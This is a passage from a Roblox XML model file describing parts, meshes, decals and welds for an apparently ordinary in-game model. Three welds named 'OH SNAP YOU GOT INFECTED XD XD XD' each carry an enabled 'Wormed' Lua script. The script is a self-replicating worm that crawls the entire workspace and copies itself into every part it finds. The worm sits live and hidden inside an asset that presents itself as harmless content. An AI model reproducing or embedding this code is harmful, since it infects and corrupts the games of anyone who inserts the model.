Mi4wNzgxOF1bMC40ODg1MiwgMC44MzE5NCwgLTAuMjYzMDldWzAuNDkyMTksIDAuNTE1NjMs
IDBdWy0xLjA3NTU0LCAtMS4wNjg3MSwgLTEuNzg2NV1bMC42MzU4NCwgMC41NDI0NywgLTAu
NTQ5MDNdWzAuNDc2NTYsIDAuNTE1NjMsIDBdWy0wLjg1Njc4NSwgLTEuMjUxLCAtMi4wNzgx
OF1bMC43MTQxOCwgMC4yMzE5OSwgLTAuNjYwMzldWzAuNDkyMTksIDAuNTE1NjMsIDBdWy0x
LjExMiwgLTEuMTc4MDgsIC0xLjc4NjVdWzAuNjEyNDEsIDAuMjY0MjYsIC0wLjc0NTA3XVsw
LjQ3NjU2LCAwLjUxOTUzLCAwXVstMS4wNzU1NCwgLTEuMDY4NzEsIC0xLjc4NjVdWzAuNjM1
ODQsIDAuNTQyNDcsIC0wLjU0OTAzXVswLjQ3NjU2LCAwLjUxNTYzLCAwXVstMS4wNzU1NCwg
LTEuMDY4NzEsIC0xLjc4NjVdWzAuNjM1ODQsIDAuNTQyNDcsIC0wLjU0OTAzXVswLjQ3NjU2
LCAwLjUxNTYzLCAwXVstMS4xMTIsIC0xLjE3ODA4LCAtMS43ODY1XVswLjYxMjQxLCAwLjI2
NDI2LCAtMC43NDUwN11bMC40NzY1NiwgMC41MTk1MywgMF1bLTEuMjk0MjksIC0wLjk1OTMy
OSwgLTEuMzg1NDVdWzAuNDE0MjUsIDAuMTI0MTksIC0wLjkwMTY1XVswLjQ1NzAzLCAwLjUy
MzQ0LCAwXVstMS4wNzU1NCwgLTEuMDY4NzEsIC0xLjc4NjVdWzAuNjM1ODQsIDAuNTQyNDcs
IC0wLjU0OTAzXVswLjQ3NjU2LCAwLjUxNTYzLCAwXVstMS4yOTQyOSwgLTAuOTU5MzI5LCAt
MS4zODU0NV1bMC40MTQyNSwgMC4xMjQxOSwgLTAuOTAxNjVdWzAuNDU3MDMsIDAuNTIzNDQs
IDBdWy0xLjI1Nzg0LCAtMC44ODY0MTEsIC0xLjQyMTkxXVswLjUyMjEyLCAwLjU0MTA2LCAt
MC42NTkyOF1bMC40NTMxMywgMC41MTU2MywgMF1bLTEuMDc1NTQsIC0xLjA2ODcxLCAtMS43
ODY1XVswLjYzNTg0LCAwLjU0MjQ3LCAtMC41NDkwM11bMC40NzY1NiwgMC41MTU2MywgMF1b
LTEuMjU3ODQsIC0wLjg4NjQxMSwgLTEuNDIxOTFdWzAuNTIyMTIsIDAuNTQxMDYsIC0wLjY1
OTI4XVswLjQ1MzEzLCAwLjUxNTYzLCAwXVstMS4wMDI2MiwgLTAuNzc3MDMzLCAtMS40NTgz
N11bMC41OTI4MCwgMC43NTIxNiwgLTAuMjg3ODRdWzAuNDU3MDMsIDAuNTAzOTEsIDBdWy0x
LjAwMjYyLCAtMC43NzcwMzMsIC0xLjQ1ODM3XVswLjU5MjgwLCAwLjc1MjE2LCAtMC4yODc4
NF1bMC40NTcwMywgMC41MDM5MSwgMF1bLTEuMjU3ODQsIC0wLjg4NjQxMSwgLTEuNDIxOTFd
WzAuNTIyMTIsIDAuNTQxMDYsIC0wLjY1OTI4XVswLjQ1MzEzLCAwLjUxNTYzLCAwXVstMS4y
NTc4NCwgLTAuODEzNDkzLCAtMS4zMTI1NF1bMC40ODAzMCwgMC43MjA0NSwgLTAuNTAwMjdd
WzAuNDQ5MjIsIDAuNTE1NjMsIDBdWy0xLjM2NzIxLCAtMC44MTM0OTMsIC0xLjE2NjddWzAu
NDQyMDEsIDAuMDgxMTQsIC0wLjg5MzMzXVswLjQ0MTQxLCAwLjUxOTUzLCAwXVstMS4yNTc4
NCwgLTAuODEzNDkzLCAtMS4zMTI1NF1bMC40ODAzMCwgMC43MjA0NSwgLTAuNTAwMjddWzAu
NDQ5MjIsIDAuNTE1NjMsIDBdWy0xLjI1Nzg0LCAtMC44ODY0MTEsIC0xLjQyMTkxXVswLjUy
MjEyLCAwLjU0MTA2LCAtMC42NTkyOF1bMC40NTMxMywgMC41MTU2MywgMF1bLTEuMjk0Mjks
IC0wLjk1OTMyOSwgLTEuMzg1NDVdWzAuNDE0MjUsIDAuMTI0MTksIC0wLjkwMTY1XVswLjQ1
NzAzLCAwLjUyMzQ0LCAwXVstMS4zNjcyMSwgLTAuODEzNDkzLCAtMS4xNjY3XVswLjQ0MjAx
LCAwLjA4MTE0LCAtMC44OTMzM11bMC40NDE0MSwgMC41MTk1MywgMF1bLTEuMjU3ODQsIC0w
Ljg4NjQxMSwgLTEuNDIxOTFdWzAuNTIyMTIsIDAuNTQxMDYsIC0wLjY1OTI4XVswLjQ1MzEz
LCAwLjUxNTYzLCAwXVstMS4zNjcyMSwgLTAuODEzNDkzLCAtMS4xNjY3XVswLjQ0MjAxLCAw
LjA4MTE0LCAtMC44OTMzM11bMC40NDE0MSwgMC41MTk1MywgMF1bLTEuMjk0MjksIC0wLjk1
OTMyOSwgLTEuMzg1NDVdWzAuNDE0MjUsIDAuMTI0MTksIC0wLjkwMTY1XVswLjQ1NzAzLCAw
LjUyMzQ0LCAwXVstMS40MDM2NywgLTAuODg2NDExLCAtMS4wMjA4Nl1bMC4xNjk2NiwgLTAu
MDc1MjUsIC0wLjk4MjYzXVswLjQzMzU5LCAwLjUzMTI1LCAwXVstMS4wMDI2MiwgLTAuNzc3
MDMzLCAtMS40NTgzN11bMC41OTI4MCwgMC43NTIxNiwgLTAuMjg3ODRdWzAuNDU3MDMsIDAu
NTAzOTEsIDBdWy0wLjQxOTI3NywgLTEuMDMyMjUsIC0xLjkzMjM0XVswLjQ2NTE5LCAwLjg0
MzgxLCAtMC4yNjc1NF1bMC41MDAwMCwgMC40ODgyOCwgMF1bLTAuODIwMzI2LCAtMS4xNDE2
MiwgLTEuOTMyMzRdWzAuNTU1NDksIDAuODAzOTAsIC0wLjIxMjU0XVswLjQ4ODI4LCAwLjUw
NzgxLCAwXVstMS4wNzU1NCwgLTEuMDY4NzEsIC0xLjc4NjVdWzAuNjM1ODQsIDAuNTQyNDcs
IC0wLjU0OTAzXVswLjQ3NjU2LCAwLjUxNTYzLCAwXVstMS4wMDI2MiwgLTAuNzc3MDMzLCAt
MS40NTgzN11bMC41OTI4MCwgMC43NTIxNiwgLTAuMjg3ODRdWzAuNDU3MDMsIDAuNTAzOTEs
IDBdWy0wLjgyMDMyNiwgLTEuMTQxNjIsIC0xLjkzMjM0XVswLjU1NTQ5LCAwLjgwMzkwLCAt
MC4yMTI1NF1bMC40ODgyOCwgMC41MDc4MSwgMF0=</binary></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>0.5</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=11266601</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX394">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>76.3000031</X>
							<Y>4.00001144</Y>
							<Z>17.5</Z>
							<R00>2.01172014e-007</R00>
							<R01>0.999999285</R01>
							<R02>-2.21656808e-008</R02>
							<R10>4.47213253e-008</R10>
							<R11>2.21656808e-008</R11>
							<R12>-0.999999285</R12>
							<R20>-1</R20>
							<R21>-2.01172014e-007</R21>
							<R22>4.47213253e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00492845941</X>
							<Y>-0.00412583211</Y>
							<Z>0.00495717255</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX395">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.699999988</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX396">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX397">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX398">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX399">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX400">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX401">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>77.5</X>
							<Y>5</Y>
							<Z>16.8000011</Z>
							<R00>0</R00>
							<R01>-0</R01>
							<R02>-1</R02>
							<R10>1</R10>
							<R11>-0</R11>
							<R12>-0</R12>
							<R20>0</R20>
							<R21>-1</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00411685929</X>
							<Y>-0.00494497176</Y>
							<Z>0.00653927913</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX402">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.899999976</X>
								<Y>1.49000001</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX403">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=10742015</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX404">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX405">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX406">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX407">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX408">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX409">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>76.5</X>
							<Y>3.2999897</Y>
							<Z>17.1000061</Z>
							<R00>-1.50879032e-007</R00>
							<R01>1.66242629e-008</R01>
							<R02>-0.999999464</R02>
							<R10>-3.35409958e-008</R10>
							<R11>0.999999464</R11>
							<R12>-1.66242629e-008</R12>
							<R20>1</R20>
							<R21>-3.35409958e-008</R21>
							<R22>1.50879032e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00606070645</X>
							<Y>-0.00453836331</Y>
							<Z>0.00594103802</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX410">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.29999995</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX411">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX412">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX413">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX414">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX415">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX416">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>77</X>
							<Y>4.00002098</Y>
							<Z>17.5</Z>
							<R00>-1.00586028e-007</R00>
							<R01>1.10828431e-008</R01>
							<R02>-0.999999642</R02>
							<R10>-2.23606662e-008</R10>
							<R11>0.999999642</R11>
							<R12>-1.10828431e-008</R12>
							<R20>1</R20>
							<R21>-2.23606662e-008</R21>
							<R22>1.00586028e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00563694583</X>
							<Y>-0.00427543977</Y>
							<Z>0.00535014318</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX417">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.5</X>
								<Y>1.5</Y>
								<Z>1.5</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
